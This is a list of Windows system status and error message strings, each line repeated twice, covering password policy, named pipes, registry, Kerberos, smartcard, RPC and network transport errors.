When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria.
When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria.
The user account's password has expired.
The user account's password has expired.
%hs is either not designed to run on Windows or it contains an error. Try installing the program again using the original installation media or contact your system administrator or the software vendor for support.
%hs is either not designed to run on Windows or it contains an error. Try installing the program again using the original installation media or contact your system administrator or the software vendor for support.
An operation failed because the disk was full.
An operation failed because the disk was full.
Floating-point denormal operand.
Floating-point denormal operand.
Floating-point invalid operation.
Floating-point invalid operation.
An attempt was made to install more paging files than the system supports.
An attempt was made to install more paging files than the system supports.
An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references.
An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references.
The maximum named pipe instance count has been reached.
The maximum named pipe instance count has been reached.
An instance of a named pipe cannot be found in the listening state.
An instance of a named pipe cannot be found in the listening state.
The named pipe is not in the connected or closing state.
The named pipe is not in the connected or closing state.
The specified pipe is set to complete operations and there are current I/O operations queued so it cannot be changed to queue operations.
The specified pipe is set to complete operations and there are current I/O operations queued so it cannot be changed to queue operations.
The specified handle is not open to the server end of the named pipe.
The specified handle is not open to the server end of the named pipe.
The specified named pipe is in the disconnected state.
The specified named pipe is in the disconnected state.
The specified named pipe is in the closing state.
The specified named pipe is in the closing state.
The specified named pipe is in the connected state.
The specified named pipe is in the connected state.
The specified named pipe is in the listening state.
The specified named pipe is in the listening state.
The specified named pipe is not in message mode.
The specified named pipe is not in message mode.
The specified I/O operation on %hs was not completed before the time-out period expired.
The specified I/O operation on %hs was not completed before the time-out period expired.
The passed ACL did not contain the minimum required information.
The passed ACL did not contain the minimum required information.
The request is not supported.
The request is not supported.
Indicates an attempt was made to operate on the security of an object that does not have security associated with it.
Indicates an attempt was made to operate on the security of an object that does not have security associated with it.
Used to indicate that an operation cannot continue without blocking for I/O.
Used to indicate that an operation cannot continue without blocking for I/O.
Used to indicate that a read operation was done on an empty pipe.
Used to indicate that a read operation was done on an empty pipe.
Indicates the Sam Server was in the wrong state to perform the desired operation.
Indicates the Sam Server was in the wrong state to perform the desired operation.
Indicates the Domain was in the wrong state to perform the desired operation.
Indicates the Domain was in the wrong state to perform the desired operation.
This operation is only allowed for the Primary Domain Controller of the domain.
This operation is only allowed for the Primary Domain Controller of the domain.
This error indicates that the requested operation cannot be completed due to a catastrophic media failure or on-disk data structure corruption.
This error indicates that the requested operation cannot be completed due to a catastrophic media failure or on-disk data structure corruption.
An invalid parameter was passed to a service or function as the first argument.
An invalid parameter was passed to a service or function as the first argument.
An invalid parameter was passed to a service or function as the second argument.
An invalid parameter was passed to a service or function as the second argument.
An invalid parameter was passed to a service or function as the third argument.
An invalid parameter was passed to a service or function as the third argument.
An invalid parameter was passed to a service or function as the fourth argument.
An invalid parameter was passed to a service or function as the fourth argument.
An invalid parameter was passed to a service or function as the fifth argument.
An invalid parameter was passed to a service or function as the fifth argument.
An invalid parameter was passed to a service or function as the sixth argument.
An invalid parameter was passed to a service or function as the sixth argument.
An invalid parameter was passed to a service or function as the seventh argument.
An invalid parameter was passed to a service or function as the seventh argument.
An invalid parameter was passed to a service or function as the eighth argument.
An invalid parameter was passed to a service or function as the eighth argument.
An invalid parameter was passed to a service or function as the ninth argument.
An invalid parameter was passed to a service or function as the ninth argument.
An invalid parameter was passed to a service or function as the tenth argument.
An invalid parameter was passed to a service or function as the tenth argument.
An invalid parameter was passed to a service or function as the eleventh argument.
An invalid parameter was passed to a service or function as the eleventh argument.
An invalid parameter was passed to a service or function as the twelfth argument.
An invalid parameter was passed to a service or function as the twelfth argument.
A malformed function table was encountered during an unwind operation.
A malformed function table was encountered during an unwind operation.
The logon session is not in a state that is consistent with the requested operation.
The logon session is not in a state that is consistent with the requested operation.
Indicates that an attempt has been made to impersonate via a named pipe that has not yet been read from.
Indicates that an attempt has been made to impersonate via a named pipe that has not yet been read from.
Indicates that the transaction state of a registry sub-tree is incompatible with the requested operation. For example, a request has been made to start a new transaction with one already in progress, or a request has been made to apply a transaction when one is not currently in progress.
Indicates that the transaction state of a registry sub-tree is incompatible with the requested operation. For example, a request has been made to start a new transaction with one already in progress, or a request has been made to apply a transaction when one is not currently in progress.
This error should only be returned by the Windows redirector on a remote drive.
This error should only be returned by the Windows redirector on a remote drive.
Indicates an operation has been attempted on a built-in (special) SAM account which is incompatible with built-in accounts. For example, built-in accounts cannot be deleted.
Indicates an operation has been attempted on a built-in (special) SAM account which is incompatible with built-in accounts. For example, built-in accounts cannot be deleted.
The operation requested may not be performed on the specified group because it is a built-in special group.
The operation requested may not be performed on the specified group because it is a built-in special group.
The operation requested may not be performed on the specified user because it is a built-in special user.
The operation requested may not be performed on the specified user because it is a built-in special user.
An I/O request other than close and several other special case operations was attempted using a file object that had already been closed.
An I/O request other than close and several other special case operations was attempted using a file object that had already been closed.
An attempt was made to operate on a thread within a specific process, but the thread specified is not in the process specified.
An attempt was made to operate on a thread within a specific process, but the thread specified is not in the process specified.
Your system is low on virtual memory. To ensure that Windows runs properly, increase the size of your virtual memory paging file. For more information, see Help.
Your system is low on virtual memory. To ensure that Windows runs properly, increase the size of your virtual memory paging file. For more information, see Help.
The specified image file did not have the correct format, it appears to be a 16-bit Windows image.
The specified image file did not have the correct format, it appears to be a 16-bit Windows image.
The SAM database on a Windows Server is significantly out of synchronization with the copy on the Domain Controller. A complete synchronization is required.
The SAM database on a Windows Server is significantly out of synchronization with the copy on the Domain Controller. A complete synchronization is required.
The NtCreateFile API failed. This error should never be returned to an application, it is a place holder for the Windows Lan Manager Redirector to use in its internal error mapping routines.
The NtCreateFile API failed. This error should never be returned to an application, it is a place holder for the Windows Lan Manager Redirector to use in its internal error mapping routines.
The network transport on your computer has closed a network connection. There may or may not be I/O requests outstanding.
The network transport on your computer has closed a network connection. There may or may not be I/O requests outstanding.
The network transport on a remote computer has closed a network connection. There may or may not be I/O requests outstanding.
The network transport on a remote computer has closed a network connection. There may or may not be I/O requests outstanding.
The network transport on your computer has closed a network connection because it had to wait too long for a response from the remote computer.
The network transport on your computer has closed a network connection because it had to wait too long for a response from the remote computer.
The connection handle given to the transport was invalid.
The connection handle given to the transport was invalid.
The address handle given to the transport was invalid.
The address handle given to the transport was invalid.
The exception %s (0xlx) occurred in the application at location 0xlx.
The exception %s (0xlx) occurred in the application at location 0xlx.
An invalid level was passed into the specified system call.
An invalid level was passed into the specified system call.
{Incorrect Password to LAN Manager Server}
{Incorrect Password to LAN Manager Server}
You specified an incorrect password to a LAN Manager 2.x or MS-NET server.
You specified an incorrect password to a LAN Manager 2.x or MS-NET server.
The pipe operation has failed because the other end of the pipe has been closed.
The pipe operation has failed because the other end of the pipe has been closed.
An I/O operation initiated by the Registry failed unrecoverably. The Registry could not read in, or write out, or flush, one of the files that contain the system's image of the Registry.
An I/O operation initiated by the Registry failed unrecoverably. The Registry could not read in, or write out, or flush, one of the files that contain the system's image of the Registry.
An event pair synchronization operation was performed using the thread specific client/server event pair object, but no event pair object was associated with the thread.
An event pair synchronization operation was performed using the thread specific client/server event pair object, but no event pair object was associated with the thread.
The maximum number of secrets that may be stored in a single system has been exceeded. The length and number of secrets is limited to satisfy United States State Department export restrictions.
The maximum number of secrets that may be stored in a single system has been exceeded. The length and number of secrets is limited to satisfy United States State Department export restrictions.
The length of a secret exceeds the maximum length allowed. The length and number of secrets is limited to satisfy United States State Department export restrictions.
The length of a secret exceeds the maximum length allowed. The length and number of secrets is limited to satisfy United States State Department export restrictions.
The requested operation cannot be performed in fullscreen mode.
The requested operation cannot be performed in fullscreen mode.
An attempt was made to change a user password in the security account manager without providing the necessary Windows cross-encrypted password.
An attempt was made to change a user password in the security account manager without providing the necessary Windows cross-encrypted password.
A Windows Server has an incorrect configuration.
A Windows Server has an incorrect configuration.
The floppy disk controller reported an error that is not recognized by the floppy disk driver.
The floppy disk controller reported an error that is not recognized by the floppy disk driver.
While accessing the hard disk, a recalibrate operation failed, even after retries.
While accessing the hard disk, a recalibrate operation failed, even after retries.
While accessing the hard disk, a disk operation failed even after retries.
While accessing the hard disk, a disk operation failed even after retries.
Two concurrent opens of devices that share an IRQ and only work via interrupts is not supported for the particular bus type that the devices use.
Two concurrent opens of devices that share an IRQ and only work via interrupts is not supported for the particular bus type that the devices use.
Illegal operation attempted on a registry key which has been marked for deletion.
Illegal operation attempted on a registry key which has been marked for deletion.
An attempt was made to change a user password in the security account manager without providing the necessary LM cross-encrypted password.
An attempt was made to change a user password in the security account manager without providing the necessary LM cross-encrypted password.
An attempt was made to create a symbolic link in a registry key that already has subkeys or values.
An attempt was made to create a symbolic link in a registry key that already has subkeys or values.
An attempt was made to create a Stable subkey under a Volatile parent key.
An attempt was made to create a Stable subkey under a Volatile parent key.
The I/O device reported an I/O error.
The I/O device reported an I/O error.
Log file space is insufficient to support this operation.
Log file space is insufficient to support this operation.
A write operation was attempted to a volume after it was dismounted.
A write operation was attempted to a volume after it was dismounted.
The SAM database on the Windows Server does not have a computer account for this workstation trust relationship.
The SAM database on the Windows Server does not have a computer account for this workstation trust relationship.
A requested file lock operation cannot be processed due to an invalid byte range.
A requested file lock operation cannot be processed due to an invalid byte range.
The subsystem needed to support the image type is not present.
The subsystem needed to support the image type is not present.
There is no user session key for the specified logon session.
There is no user session key for the specified logon session.
The size of the buffer is invalid for the specified operation.
The size of the buffer is invalid for the specified operation.
The transport rejected the network address specified as invalid.
The transport rejected the network address specified as invalid.
The transport rejected the network address specified due to an invalid use of a wildcard.
The transport rejected the network address specified due to an invalid use of a wildcard.
The transport address could not be opened because all the available addresses are in use.
The transport address could not be opened because all the available addresses are in use.
The transport address could not be opened because it already exists.
The transport address could not be opened because it already exists.
The transport address is now closed.
The transport address is now closed.
The transport connection is now disconnected.
The transport connection is now disconnected.
The transport connection has been reset.
The transport connection has been reset.
The transport cannot dynamically acquire any more nodes.
The transport cannot dynamically acquire any more nodes.
The transport aborted a pending transaction.
The transport aborted a pending transaction.
The transport timed out a request waiting for a response.
The transport timed out a request waiting for a response.
The transport did not receive a release for a pending response.
The transport did not receive a release for a pending response.
The transport did not find a transaction matching the specific token.
The transport did not find a transaction matching the specific token.
The transport had previously responded to a transaction request.
The transport had previously responded to a transaction request.
The transport does not recognized the transaction request identifier specified.
The transport does not recognized the transaction request identifier specified.
The transport does not recognize the transaction request type specified.
The transport does not recognize the transaction request type specified.
The transport can only process the specified request on the server side of a session.
The transport can only process the specified request on the server side of a session.
The transport can only process the specified request on the client side of a session.
The transport can only process the specified request on the client side of a session.
The %hs system process terminated unexpectedly with a status of 0xx (0xx 0xx).
The %hs system process terminated unexpectedly with a status of 0xx (0xx 0xx).
Windows was unable to save all the data for the file %hs. The data has been lost. This error may be caused by a failure of your computer hardware or network connection. Please try to save this file elsewhere.
Windows was unable to save all the data for the file %hs. The data has been lost. This error may be caused by a failure of your computer hardware or network connection. Please try to save this file elsewhere.
The parameter(s) passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window.
The parameter(s) passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window.
The user's password must be changed before logging on the first time.
The user's password must be changed before logging on the first time.
Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing onode is moved or the extent stream is converted to a large stream.
Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing onode is moved or the extent stream is converted to a large stream.
The attempt to find the object found an object matching by ID on the volume but it is out of the scope of the handle used for the operation.
The attempt to find the object found an object matching by ID on the volume but it is out of the scope of the handle used for the operation.
The user account has been automatically locked because too many invalid logon attempts or password change attempts have been requested.
The user account has been automatically locked because too many invalid logon attempts or password change attempts have been requested.
The transport connection attempt was refused by the remote system.
The transport connection attempt was refused by the remote system.
The transport connection was gracefully closed.
The transport connection was gracefully closed.
The transport endpoint already has an address associated with it.
The transport endpoint already has an address associated with it.
An address has not yet been associated with the transport endpoint.
An address has not yet been associated with the transport endpoint.
An operation was attempted on a nonexistent transport connection.
An operation was attempted on a nonexistent transport connection.
An invalid operation was attempted on an active transport connection.
An invalid operation was attempted on an active transport connection.
The remote network is not reachable by the transport.
The remote network is not reachable by the transport.
The remote system is not reachable by the transport.
The remote system is not reachable by the transport.
The remote system does not support the transport protocol.
The remote system does not support the transport protocol.
No service is operating at the destination port of the transport on the remote system.
No service is operating at the destination port of the transport on the remote system.
The transport connection was aborted by the local system.
The transport connection was aborted by the local system.
The requested operation cannot be performed on a file with a user mapped section open.
The requested operation cannot be performed on a file with a user mapped section open.
Attempting to login during an unauthorized time of day for this account.
Attempting to login during an unauthorized time of day for this account.
The account is not authorized to login from this station.
The account is not authorized to login from this station.
The dynamic link library %hs is not written correctly. The stack pointer has been left in an inconsistent state. The entrypoint should be declared as WINAPI or STDCALL. Select YES to fail the DLL load. Select NO to continue execution. Selecting NO may cause the application to operate incorrectly.
The dynamic link library %hs is not written correctly. The stack pointer has been left in an inconsistent state. The entrypoint should be declared as WINAPI or STDCALL. Select YES to fail the DLL load. Select NO to continue execution. Selecting NO may cause the application to operate incorrectly.
The %hs service is not written correctly. The stack pointer has been left in an inconsistent state. The callback entrypoint should be declared as WINAPI or STDCALL. Selecting OK will cause the service to continue operation. However, the service process may operate incorrectly.
The %hs service is not written correctly. The stack pointer has been left in an inconsistent state. The callback entrypoint should be declared as WINAPI or STDCALL. Selecting OK will cause the service to continue operation. However, the service process may operate incorrectly.
The contacted server does not support the indicated part of the DFS namespace.
The contacted server does not support the indicated part of the DFS namespace.
A callback return system service cannot be executed when no callback is active.
A callback return system service cannot be executed when no callback is active.
The password provided is too short to meet the policy of your user account. Please choose a longer password.
The password provided is too short to meet the policy of your user account. Please choose a longer password.
The policy of your user account does not allow you to change passwords too frequently. This is done to prevent users from changing back to a familiar, but potentially discovered, password. If you feel your password has been compromised then please contact your administrator immediately to have a new one assigned.
The policy of your user account does not allow you to change passwords too frequently. This is done to prevent users from changing back to a familiar, but potentially discovered, password. If you feel your password has been compromised then please contact your administrator immediately to have a new one assigned.
You have attempted to change your password to one that you have used in the past. The policy of your user account does not allow this. Please select a password that you have not previously used.
You have attempted to change your password to one that you have used in the past. The policy of your user account does not allow this. Please select a password that you have not previously used.
The specified compression format is unsupported.
The specified compression format is unsupported.
An attempt was made to create more links on a file than the file system supports.
An attempt was made to create more links on a file than the file system supports.
{Windows Evaluation Notification}
{Windows Evaluation Notification}
The evaluation period for this installation of Windows has expired. This system will shutdown in 1 hour. To restore access to this installation of Windows, please upgrade this installation using a licensed distribution of this product.
The evaluation period for this installation of Windows has expired. This system will shutdown in 1 hour. To restore access to this installation of Windows, please upgrade this installation using a licensed distribution of this product.
The system DLL %hs was relocated in memory. The application will not run properly. The relocation occurred because the DLL %hs occupied an address range reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL.
The system DLL %hs was relocated in memory. The application will not run properly. The relocation occurred because the DLL %hs occupied an address range reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL.
Error Status was 0x%x
Error Status was 0x%x
An operation was attempted to a volume after it was dismounted.
An operation was attempted to a volume after it was dismounted.
There was no match for the specified key in the index.
There was no match for the specified key in the index.
The Windows I/O reparse tag passed for the NTFS reparse point is invalid.
The Windows I/O reparse tag passed for the NTFS reparse point is invalid.
The Windows I/O reparse tag does not match the one present in the NTFS reparse point.
The Windows I/O reparse tag does not match the one present in the NTFS reparse point.
The user data passed for the NTFS reparse point is invalid.
The user data passed for the NTFS reparse point is invalid.
There are no EFS keys defined for the user.
There are no EFS keys defined for the user.
The specified file is not in the defined EFS export format.
The specified file is not in the defined EFS export format.
The guid passed was not recognized as valid by a WMI data provider.
The guid passed was not recognized as valid by a WMI data provider.
The instance name passed was not recognized as valid by a WMI data provider.
The instance name passed was not recognized as valid by a WMI data provider.
The data item id passed was not recognized as valid by a WMI data provider.
The data item id passed was not recognized as valid by a WMI data provider.
The remote storage service is not operational at this time.
The remote storage service is not operational at this time.
The requested operation could not be performed because the directory service is not the master for that type of operation.
The requested operation could not be performed because the directory service is not the master for that type of operation.
The requested operation did not satisfy one or more constraints associated with the class of the object.
The requested operation did not satisfy one or more constraints associated with the class of the object.
The directory service can perform the requested operation only on a leaf object.
The directory service can perform the requested operation only on a leaf object.
The directory service cannot perform the requested operation on the Relatively Defined Name (RDN) attribute of an object.
The directory service cannot perform the requested operation on the Relatively Defined Name (RDN) attribute of an object.
An error occurred while performing a cross domain move operation.
An error occurred while performing a cross domain move operation.
The requested operation requires a directory service, and none was available.
The requested operation requires a directory service, and none was available.
The requested interface is not supported.
The requested interface is not supported.
The driver %hs does not support standby mode. Updating this driver may allow the system to go to standby mode.
The driver %hs does not support standby mode. Updating this driver may allow the system to go to standby mode.
Mutual Authentication failed. The server's password is out of date at the domain controller.
Mutual Authentication failed. The server's password is out of date at the domain controller.
Your system is low on virtual memory. Windows is increasing the size of your virtual memory paging file. During this process, memory requests for some applications may be denied. For more information, see Help.
Your system is low on virtual memory. Windows is increasing the size of your virtual memory paging file. During this process, memory requests for some applications may be denied. For more information, see Help.
The medium changer's transport element contains media, which is causing the operation to fail.
The medium changer's transport element contains media, which is causing the operation to fail.
Error Status: 0x%x.
Error Status: 0x%x.
This operation is supported only when you are connected to the server.
This operation is supported only when you are connected to the server.
The system image %s is not properly signed. The file has been replaced with the signed file. The system has been shut down.
The system image %s is not properly signed. The file has been replaced with the signed file. The system has been shut down.
Current device power state cannot support this request.
Current device power state cannot support this request.
The WMI operation is not supported by the data block or method.
The WMI operation is not supported by the data block or method.
There is not enough power to complete the requested operation.
There is not enough power to complete the requested operation.
Security Account Manager needs to get the boot password.
Security Account Manager needs to get the boot password.
Security Account Manager needs to get the boot key from floppy disk.
Security Account Manager needs to get the boot key from floppy disk.
The requested operation can be performed only on a global catalog server.
The requested operation can be performed only on a global catalog server.
Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased.
Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased.
This operation cannot be performed on the current domain.
This operation cannot be performed on the current domain.
The other end of the security negotiation is requires strong crypto but it is not supported on the local machine.
The other end of the security negotiation is requires strong crypto but it is not supported on the local machine.
The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Please contact your administrator.
The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Please contact your administrator.
The encryption type requested is not supported by the KDC.
The encryption type requested is not supported by the KDC.
This operation is not supported on a computer running Windows Server 2003 for Small Business Server
This operation is not supported on a computer running Windows Server 2003 for Small Business Server
The Master File Table on the volume is too fragmented to complete this operation.
The Master File Table on the volume is too fragmented to complete this operation.
Copy protection error - The given sector does not contain a valid key.
Copy protection error - The given sector does not contain a valid key.
Copy protection error - DVD session key not established.
Copy protection error - DVD session key not established.
The Kerberos protocol encountered an error while validating the KDC certificate during smartcard Logon. There is more information in the system event log.
The Kerberos protocol encountered an error while validating the KDC certificate during smartcard Logon. There is more information in the system event log.
The transport determined that the remote system is down.
The transport determined that the remote system is down.
An unsupported preauthentication mechanism was presented to the Kerberos package.
An unsupported preauthentication mechanism was presented to the Kerberos package.
The encryption algorithm used on the source file needs a bigger key buffer than the one used on the destination file.
The encryption algorithm used on the source file needs a bigger key buffer than the one used on the destination file.
An attempt to remove a process's DebugPort was made, but a port was not already associated with the process.
An attempt to remove a process's DebugPort was made, but a port was not already associated with the process.
Debugger Inactive: Windows may have been started without kernel debugging enabled.
Debugger Inactive: Windows may have been started without kernel debugging enabled.
This version of Windows is not compatible with the behavior version of directory forest, domain or domain controller.
This version of Windows is not compatible with the behavior version of directory forest, domain or domain controller.
The specified image file did not have the correct format, it appears to be a 32-bit Windows image.
The specified image file did not have the correct format, it appears to be a 32-bit Windows image.
The specified image file did not have the correct format, it appears to be a 64-bit Windows image.
The specified image file did not have the correct format, it appears to be a 64-bit Windows image.
The SID filtering operation removed all SIDs.
The SID filtering operation removed all SIDs.
The create operation failed because the name contained at least one mount point which resolves to a volume to which the specified device object is not attached.
The create operation failed because the name contained at least one mount point which resolves to a volume to which the specified device object is not attached.
A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image.
A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image.
The requested key container does not exist on the smart card
The requested key container does not exist on the smart card
The requested certificate does not exist on the smart card
The requested certificate does not exist on the smart card
The requested keyset does not exist
The requested keyset does not exist
The smartcard certificate used for authentication has been revoked. Please contact your system administrator. There may be additional information in the event log.
The smartcard certificate used for authentication has been revoked. Please contact your system administrator. There may be additional information in the event log.
An untrusted certificate authority was detected While processing the smartcard certificate used for authentication. Please contact your system administrator.
An untrusted certificate authority was detected While processing the smartcard certificate used for authentication. Please contact your system administrator.
The revocation status of the smartcard certificate used for authentication could not be determined. Please contact your system administrator.
The revocation status of the smartcard certificate used for authentication could not be determined. Please contact your system administrator.
The smartcard certificate used for authentication was not trusted. Please contact your system administrator.
The smartcard certificate used for authentication was not trusted. Please contact your system administrator.
The smartcard certificate used for authentication has expired. Please
The smartcard certificate used for authentication has expired. Please
The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user.
The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user.
An attempt was made by this server to make a Kerberos constrained delegation request for a target outside of the server's realm. This is not supported, and indicates a misconfiguration on this server's allowed to delegate to list. Please contact your administrator.
An attempt was made by this server to make a Kerberos constrained delegation request for a target outside of the server's realm. This is not supported, and indicates a misconfiguration on this server's allowed to delegate to list. Please contact your administrator.
The revocation status of the domain controller certificate used for smartcard authentication could not be determined. There is additional information in the system event log. Please contact your system administrator.
The revocation status of the domain controller certificate used for smartcard authentication could not be determined. There is additional information in the system event log. Please contact your system administrator.
An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Please contact your system administrator.
An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Please contact your system administrator.
The domain controller certificate used for smartcard logon has expired. Please contact your system administrator with the contents of your system event log.
The domain controller certificate used for smartcard logon has expired. Please contact your system administrator with the contents of your system event log.
The domain controller certificate used for smartcard logon has been revoked. Please contact your system administrator with the contents of your system event log.
The domain controller certificate used for smartcard logon has been revoked. Please contact your system administrator with the contents of your system event log.
Data present in one of the parameters is more than the function can operate on.
Data present in one of the parameters is more than the function can operate on.
An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed.
An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed.
%hs is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator.
%hs is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator.
The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft.
The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft.
An invalid parameter was passed to a C runtime function.
An invalid parameter was passed to a C runtime function.
Illegal operation attempted on a registry key which has already been unloaded.
Illegal operation attempted on a registry key which has already been unloaded.
The requested operation could not be completed due to a file system limitation
The requested operation could not be completed due to a file system limitation
Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
The requested operation is out of order with respect to other operations.
The requested operation is out of order with respect to other operations.
An operation attempted to exceed an implementation-defined limit.
An operation attempted to exceed an implementation-defined limit.
The requested operation requires elevation.
The requested operation requires elevation.
The PKU2U protocol encountered an error while attempting to utilize the associated certificates.
The PKU2U protocol encountered an error while attempting to utilize the associated certificates.
The operation was attempted beyond the valid data length of the file.
The operation was attempted beyond the valid data length of the file.
The attempted write operation encountered a write already in progress for some portion of the range.
The attempted write operation encountered a write already in progress for some portion of the range.
The page fault mappings changed in the middle of processing a fault so the operation must be retried.
The page fault mappings changed in the middle of processing a fault so the operation must be retried.
Client Side Encryption is not supported by the remote server even though it claims to support it.
Client Side Encryption is not supported by the remote server even though it claims to support it.
The specified thread is already joining a task.
The specified thread is already joining a task.
A callback has requested to bypass native code.
A callback has requested to bypass native code.
Windows cannot verify the digital signature for this file. The signing certificate for this file has been revoked.
Windows cannot verify the digital signature for this file. The signing certificate for this file has been revoked.
The ALPC port is closed.
The ALPC port is closed.
The connection port is used in an invalid context.
The connection port is used in an invalid context.
The ALPC port does not accept new request messages.
The ALPC port does not accept new request messages.
The hardware has reported an uncorrectable memory error.
The hardware has reported an uncorrectable memory error.
Status 0xx was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p.
Status 0xx was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p.
After a callback to 0x%p(0x%p), a completion call to SetEvent(0x%p) failed with status 0xx.
After a callback to 0x%p(0x%p), a completion call to SetEvent(0x%p) failed with status 0xx.
After a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0xx.
After a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0xx.
After a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0xx.
After a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0xx.
After a callback to 0x%p(0x%p), an completion call to FreeLibrary(%p) failed with status 0xx.
After a callback to 0x%p(0x%p), an completion call to FreeLibrary(%p) failed with status 0xx.
A threadpool worker thread is impersonating a client, after executing an APC.
A threadpool worker thread is impersonating a client, after executing an APC.
The client certificate account mapping is not unique.
The client certificate account mapping is not unique.
The specified port already has a completion list.
The specified port already has a completion list.
A threadpool worker thread enter a callback at thread base priority 0x%x and exited at priority 0x%x.
A threadpool worker thread enter a callback at thread base priority 0x%x and exited at priority 0x%x.
An invalid thread, handle %p, is specified for this operation. Possibly, a threadpool worker thread was specified.
An invalid thread, handle %p, is specified for this operation. Possibly, a threadpool worker thread was specified.
The attempted operation required self healing to be enabled.
The attempted operation required self healing to be enabled.
The Directory Service cannot perform the requested operation because a domain rename operation is in progress.
The Directory Service cannot perform the requested operation because a domain rename operation is in progress.
The requested file operation failed because the storage quota was exceeded.
The requested file operation failed because the storage quota was exceeded.
The requested file operation failed because the storage policy blocks that type of file. For more information, contact your system administrator.
The requested file operation failed because the storage policy blocks that type of file. For more information, contact your system administrator.
The operation could not be completed due to bad clusters on disk.
The operation could not be completed due to bad clusters on disk.
The operation could not be completed because the volume is dirty. Please run chkdsk and try again.
The operation could not be completed because the volume is dirty. Please run chkdsk and try again.
Access Denied. Before opening files in this location, you must first browse to the web site and select the option to login automatically.
Access Denied. Before opening files in this location, you must first browse to the web site and select the option to login automatically.
Operation did not complete successfully because the file contains a virus.
Operation did not complete successfully because the file contains a virus.
The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken.
The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken.
The cryptographic provider does not support HMAC.
The cryptographic provider does not support HMAC.
An operation or data has been rejected while on the network fast path.
An operation or data has been rejected while on the network fast path.
Windows was unable to save all the data for the file %hs; the data has been lost.
Windows was unable to save all the data for the file %hs; the data has been lost.
Windows was unable to parse the requested XML data.
Windows was unable to parse the requested XML data.
The RPC protocol sequence is not supported.
The RPC protocol sequence is not supported.
Not enough resources are available to complete this operation.
Not enough resources are available to complete this operation.
The RPC server is too busy to complete this operation.
The RPC server is too busy to complete this operation.
The remote procedure call failed and did not execute.
The remote procedure call failed and did not execute.
The transfer syntax is not supported by the RPC server.
The transfer syntax is not supported by the RPC server.
The type UUID is not supported.
The type UUID is not supported.
The name syntax is not supported.
The name syntax is not supported.
The operation cannot be performed.
The operation cannot be performed.
No interfaces have been exported.
No interfaces have been exported.
There is nothing to unexport.
There is nothing to unexport.
The requested operation is not supported.
The requested operation is not supported.
A floating point operation at the RPC server caused a divide by zero.
A floating point operation at the RPC server caused a divide by zero.
The requested authentication level is not supported.
The requested authentication level is not supported.
The error specified is not a valid Windows RPC error code.
The error specified is not a valid Windows RPC error code.
Invalid asynchronous RPC call handle for this operation.
Invalid asynchronous RPC call handle for this operation.
Access to the HTTP proxy is denied.
Access to the HTTP proxy is denied.
HTTP proxy server rejected the connection because the cookie authentication failed.
HTTP proxy server rejected the connection because the cookie authentication failed.
A null context handle is passed as an [in] parameter.
A null context handle is passed as an [in] parameter.
The binding handles passed to a remote procedure call do not match.
The binding handles passed to a remote procedure call do not match.
A null reference pointer was passed to the stub.
A null reference pointer was passed to the stub.
Invalid operation on the encoding/decoding handle.
Invalid operation on the encoding/decoding handle.
The RPC pipe object is invalid or corrupted.
The RPC pipe object is invalid or corrupted.
An invalid operation was attempted on an RPC pipe object.
An invalid operation was attempted on an RPC pipe object.
Unsupported RPC pipe version.
Unsupported RPC pipe version.
The RPC pipe object has already been closed.
The RPC pipe object has already been closed.
The RPC call completed before all pipes were processed.
The RPC call completed before all pipes were processed.
No more data is available from the RPC pipe.
No more data is available from the RPC pipe.
Reissue the given operation as a cached IO operation
Reissue the given operation as a cached IO operation
A close operation is pending on the Terminal Connection.
A close operation is pending on the Terminal Connection.
The MODEM.INF file was not found.
The MODEM.INF file was not found.
The modem (%1) was not found in MODEM.INF.
The modem (%1) was not found in MODEM.INF.
Transport driver error
Transport driver error
An attempt has been made to connect to a session whose video mode is not supported by the current client.
An attempt has been made to connect to a session whose video mode is not supported by the current client.
DOS graphics mode is not supported.
DOS graphics mode is not supported.
The requested operation can be performed only on the system console.
The requested operation can be performed only on the system console.
Disconnecting the console session is not supported.
Disconnecting the console session is not supported.
Reconnecting a disconnected session to the console is not supported.
Reconnecting a disconnected session to the console is not supported.
